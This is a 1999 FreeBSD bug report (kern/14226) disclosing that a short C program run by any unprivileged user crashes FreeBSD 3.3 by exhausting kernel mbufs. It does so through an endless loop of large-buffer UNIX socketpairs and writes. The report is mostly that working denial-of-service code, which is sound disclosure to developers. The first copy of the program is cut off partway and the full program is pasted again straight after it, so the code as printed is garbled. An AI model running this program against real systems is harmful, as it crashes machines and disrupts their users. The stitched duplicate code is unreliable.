Date: Sat, 9 Oct 1999 02:38:58 -0700 (PDT) From: jar@ntu-kpi.kiev.ua To: freebsd-gnats-submit@freebsd.org Subject: kern/14226: panic: no mbufs Message-ID: <19991009093858.2AD5914A23@hub.freebsd.org>
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>Number: 14226
>Category: kern
>Synopsis: panic: no mbufs
>Confidential: no
>Severity: serious
>Priority: medium
>Responsible: freebsd-bugs
>State: open
>Quarter:
>Keywords:
>Date-Required:
>Class: sw-bug
>Submitter-Id: current-users
>Arrival-Date: Sat Oct 9 02:40:00 PDT 1999
>Closed-Date:
>Last-Modified:
>Originator: Yaroslav Halchinsky
>Release: 3.3-RC
>Organization:
>Environment:
FreeBSD texas.plat.kiev.ua 3.3-RC FreeBSD 3.3-RC #2: Fri Oct 8 16:01:17 EEST 1999 root@jar.plat.kiev.ua:/usr/src/sys/compile/TEXAS i386
>Description:
The following program running by any unprivileged user
crashes FreeBSD 3.3-RC (RELEASE and STABLE as well)
#include <unistd.h>
#include <sys/socket.h>
#include <fcntl.h>
#define BUFFERSIZE 204800
extern int
main(void)
{
int p[2], i;
char crap[BUFFERSIZE];
while (1)
{
if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
break;
i = BUFFERSIZE;
setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
fcntl(p[0], F_SETFL, O_NONBLOCK);
fcntl(p[1], F_SETFL, O_NONBLOCK);#include <unistd.h>
#include <sys/socket.h>
#include <fcntl.h>
#define BUFFERSIZE 204800
extern int
main(void)
{
int p[2], i;
char crap[BUFFERSIZE];
while (1)
{
if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
break;
i = BUFFERSIZE;
setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
fcntl(p[0], F_SETFL, O_NONBLOCK);
fcntl(p[1], F_SETFL, O_NONBLOCK);
write(p[0], crap, BUFFERSIZE);
write(p[1], crap, BUFFERSIZE);
}
exit(0);
}
>How-To-Repeat:
Build and run the program
>Fix:
>Release-Note:
>Audit-Trail:
>Unformatted:
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